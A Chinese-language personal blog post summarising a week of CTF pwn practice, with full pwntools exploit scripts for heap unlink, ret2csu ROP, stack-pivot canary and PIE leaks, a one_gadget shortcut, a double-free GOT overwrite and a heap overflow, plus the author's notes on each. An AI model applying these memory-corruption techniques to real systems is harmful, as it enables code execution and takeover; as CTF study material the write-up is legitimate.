感觉上周跑得太快了,好多知识没完全消化,这周就总结吧~~~(不是偷懒啊
off by one 这种 off by one 的洞有好多方法,如堆块重叠和 unlink ,这里先记录一下 unlink
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import * p = process('./pwn') elf = ELF("./pwn", checksec=False) libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so', checksec=False) #context.log_level = "debug" def new(ind,size,content): p.sendlineafter('4.show\n','1') p.sendlineafter('index:\n',str(ind)) p.sendlineafter('size:\n',str(size)) p.sendafter('content:\n',content) def free(ind): p.sendlineafter('4.show\n','2') p.sendafter('index:\n',str(ind)) def edit(ind,content): p.sendlineafter('4.show\n','3') p.sendlineafter('index:\n',str(ind)) p.sendafter('content:\n',content) new(2,0xf8,"/bin/sh") new(32,0xf8,"32") new(31,0xf8,"31") new(30,0xf8,"30")#unlink spy pay = p64(0)+p64(0xf1)+p64(0x6021c8)+p64(0x6021c8+8) pay = pay.ljust(0xf0) pay+=p64(0xf0) edit(32,pay) free(31)#unlink payload = p64(0x6021c8)*3+p64(elf.got['free']) payload = payload.ljust(0xf0) payload+=p64(1) edit(32,payload) p.sendlineafter('4.show\n','4') p.sendlineafter('index','32') p.recvuntil("\n") leak = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00')) libc_base = leak - libc.symbols['free'] system = libc.symbols['system'] + libc_base free_hook = libc.symbols['__free_hook'] + libc_base pay = 'a'*0x18+p64(free_hook) pay = pay.ljust(0xf0) pay += p64(1) edit(30,pay) edit(32,p64(system)) free(2) p.interactive()
万能 gadget 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import * p = process('./pwn') elf = ELF("./pwn", checksec=False) libc = elf.libc #context.log_level = "debug" p.sendline('aaaabaaacaaadaaa'+p64(0x4004ed)) leak = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-0x118 pay = "/bin//sh\x00".ljust(0x10,"\x00") header = 0x040059A waist = 0x400580 pop_rdi = 0x4005a3 rax_3B = 0x4004e2 syscall = 0x400517 pay+= p64(header)+p64(10)+p64(0)+p64(leak)+p64(0)*3+p64(waist) pay+=p64(rax_3B)+p64(pop_rdi)+p64(leak)+p64(syscall) p.sendline(pay) p.recv() p.recv() p.interactive()
这个发现师傅的 wp 写的 0x4004e2 差了一个字节,结果也能用~~~ 什么鬼,中间还出现一个很迷的 bug ,始终不通,最后发现一开始的 ret 我填的 main_addr ,(狗头)
最强 rop
栈迁移是迁移到 buf 内部.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 #encoding:utf-8 #!/upr/bin/env python from pwn import * def sl(s): return p.sendline(s) def sd(s): return p.send(s) def rc(timeout=0): if timeout == 0: return p.recv() else: return p.recv(timeout=timeout) def ru(s, timeout=0): if timeout == 0: return p.recvuntil(s) else: return p.recvuntil(s, timeout=timeout) pause() def msg(msg,addr): log.warn(msg+"->"+hex(addr)) bin_elf = "./pwn" elf = ELF(bin_elf) context.binary=bin_elf context.log_level = "debug" libc = elf.libc p = process(bin_elf, aslr=0) ru("please input your name\n") sl('aeojj') ru("do you want to get something???\n") sd("a"*0x19) ru("a"*0x18) canary = u64(p.recv(8))-0x61 stack = u64(p.recv(6).ljust(8,"\x00"))-0x28 msg("canary",canary) msg("stack",stack) ru("OK???\n") sd("b"*8) ru("I think you can do something now\n") pay = "c"*0x28+p64(canary)+"a"*8+"\xde\x50"#1/16 sd(pay) ru("do you want to get something???\n") sd("x"*8) ru("OK???\n") sd("b"*0x29) ru("a"*8) piebase = u64(p.recv(6).ljust(8,"\x00"))-0x1440 msg("piebase",piebase) printf_got=elf.got["printf"]+piebase printf_plt=elf.plt["printf"]+piebase read_got=elf.got["read"]+piebase pop_rdi_ret=piebase+0x14a3 leave_ret=piebase+0x10dc vul = piebase+0x10de ru("I think you can do something now\n") gadget = "a"*0x8+p64(pop_rdi_ret)+p64(read_got)+p64(printf_plt) pay = gadget+p64(vul)+p64(canary)+p64(stack)+p64(leave_ret) sd(pay) libc.address = u64(p.recv(6).ljust(8,"\x00"))-libc.sym["read"] system = libc.sym["system"] msg("libc.address",libc.address) ru("do you want to get something???\n") sd("d"*0x8) gdb.attach(p) ru("OK???\n") sd("e"*0x8) ru("I think you can do something now\n") gadget = "/bin/sh\x00"+p64(pop_rdi_ret)+p64(stack)+p64(system) pay = gadget+p64(0)+p64(canary)+p64(stack-0x10)+p64(leave_ret) sd(pay) p.interactive()
这是我做过最难的 rop 了,必须泄漏四个( canary stack libc pie),太恶心了,不过思路还是很清楚的,我试试优化一下,最后我感觉师傅写错了,但是 exp 却能用,又迷了~~~~ 而且感觉师傅走了好多弯路啊,一般情况不应该跑三遍啊~~
下面说一下我的方法, one_gadget 一步 getshell ,就不用师父的模板了,实在使不顺手,不过师傅的 gdb 函数是真的牛逼~~简单记录一下我的思路(厚颜无耻
在 16.04 测得,很巧,栈上有残留的东西正好泄露出来 libc 基址,之后也用上了第二次输入把 canary 整出来了,理论上 pie 和 stack 都不用泄露了,可是 one_gadget 就是不好用,我想了几个方案不是要泄露 stack 地址就是不满足,什么鬼,只能用师傅的方法
崩溃了,我想了好久我这个 one_gadget 已经很无敌了,而且我动态调的时候很明显成功了,怎么回事?最后发现是根本没 send 出去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import * #context.log_level = "debug" p = process('./babypwn',aslr=0) elf = ELF("./babypwn", checksec=False) libc = elf.libc p.recvuntil('name\n') p.sendline('aeojj') p.recvuntil('???\n') p.send('a'*8) p.recvuntil('a'*8) libc = u64(p.recv(6).ljust(8,"\x00"))-458676 print hex(libc) p.recvuntil('???\n') p.send('b'*0x19) p.recvuntil('b'*0x18) canary = u64(p.recv(8))-0x62 print hex(canary) p.recvuntil("I think you can do something now\n") one = libc+0x4526a pay = "c"*0x28+p64(canary)+"a"*8+p64(one) p.send(pay) p.interactive()
成功了,真的爽,感觉是一个非预期解(18.04失败了,栈很干净,23333),开心~~~ 在这里想到一个好方法,就是打一个 patch ,然后去打,如果 patch 过的文件还是过不了检测就该想想是哪的问题了~~
noleakinfo 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from pwn import * r = process('./noinfoleak') elf = ELF('noinfoleak', checksec=False) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) #context.log_level = "debug" def add(size, data): r.sendlineafter('>', '1') r.sendlineafter('>', str(size)) r.sendlineafter('>', data) def delete(index): r.sendlineafter('>', '2') r.sendlineafter('>', str(index)) def edit(index, data): r.sendlineafter('>', '3') r.sendlineafter('>', str(index)) r.sendafter('>', data) add(0x30, '/bin/sh') add(0x20, 'AAA') add(0x20, 'BBB') delete(1) delete(2) delete(1) arrAddr = 0x06010A0 freeGotAddr = elf.got['free'] putsPltAddr = elf.plt['puts'] putsGotAddr = elf.got['puts'] add(0x20, p64(arrAddr)) add(0x20, 'second') add(0x20, 'first') # new chunk will allocate in arrAddr # save new chunk data's addr in arrAddr[6 * 2] # overwrite arrAddr[1]'s content to free@got add(0x20, p64(freeGotAddr)) # overwrite free@got to puts@plt edit(1, p64(putsPltAddr)) # overwrite arrAddr[1]'s content to puts@got edit(6, p64(putsGotAddr)) # trigger free()(puts@plt) to leak putsAddr delete(1) LeakStr = r.recvuntil('\n', drop=True) libcBaseAddr = u64(LeakStr.ljust(8, '\x00')) - libc.symbols['puts'] systemAddr = libcBaseAddr + libc.symbols['system'] print('libc base address: 0x%x' % libcBaseAddr) print('systemAdd address: 0x%x' % systemAddr) # overwrite arrAddr[1] to free@got edit(6, p64(freeGotAddr)) # overwrite free@got to system edit(1, p64(systemAddr)) delete(0) r.interactive()
西湖论剑的题,我觉得 wp 太妙了,我们深入分析一下,觉得这个 wp 是件艺术品
首先漏洞来自
1 2 if ( v0 >= 0 && v0 <= 15 ) free(qword_6010A0[2 * v0]);
这个 UAF 很爽,有这个洞基本完蛋了这个程序,但是没有 leak 函数,需要自己想方法去 leak ,这里师傅就想到了改 got ,说实话,如果是我的话,我就不敢了,因为感觉副作用太大,直接修改 free 和 malloc 有点虎,但是师傅艺高人胆大,直接利用这个通杀了, 6666666
基本 wp 分 3 步
7 步杀人, malloc 到 bss 段,控制指针
修改 free_got 为 puts_got
修改 free_got 为 system 进而触发
其实这个 got plt 还卡了我很久,现在写一下心得(早就忘了延迟绑定了,还得再学一遍),首先未调用函数前got -> plt -> 指令
,调用函数后got -> so 真正位置
差不多是这样的,之前都理解的有点偏差
所以本次 wp 的两次修改,首先第一次
1 2 3 4 add(0x20, p64(freeGotAddr))#1 edit(1, p64(putsPltAddr)) edit(6, p64(putsGotAddr)) delete(1)
就是先把 1 指向的 free_got 改为 puts_plt ,听上去不可思议,事实上确实如此,因为 free 函数早已调用,上边写的就是 so 的偏移,之后把 1 的指向修改为 put_got ,这就是调用后的了, so 真正位置就出来了,太鸡儿妙了~~~
第二次
1 2 3 edit(6, p64(freeGotAddr)) edit(1, p64(systemAddr)) delete(0)
就是把 free_got 改成 system_so_addr 了,理所应当
babyheap
unctf 栈溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import * #p = process('./pwn') p = remote('101.71.29.5',10052) elf = ELF("./pwn", checksec=False) libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so', checksec=False) #context.log_level = "debug" def new(content): p.sendlineafter('Your choice: ','1') p.sendafter('Plz input content: ',content) def edit(ind,size,content): p.sendlineafter('Your choice: ','2') p.sendlineafter('Plz input index: ',str(ind)) p.sendlineafter('Plz input size: ',str(size)) p.sendafter('Plz input content: ',content) def show(ind): p.sendlineafter('Your choice: ','3') p.sendlineafter('Plz input index: ',str(ind)) new('a'*1) edit(0,24,'a'*24) show(0) p.recvuntil('a'*24) leak = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00')) libc_base = leak - 456336 system = libc.symbols['system'] + libc_base payload = '/bin/sh\x00'.ljust(0x18)+p64(system) edit(0,0x20,payload) show(0) p.interactive()
做着题傻了,一看这么简单,就是一个数据结构瞎放东西,还有溢出。然后我竟然想着到 malloc_hook 和 free_hook 地方,什么鬼,发现一个堆块解决所有问题~~ 做题还是太直,难受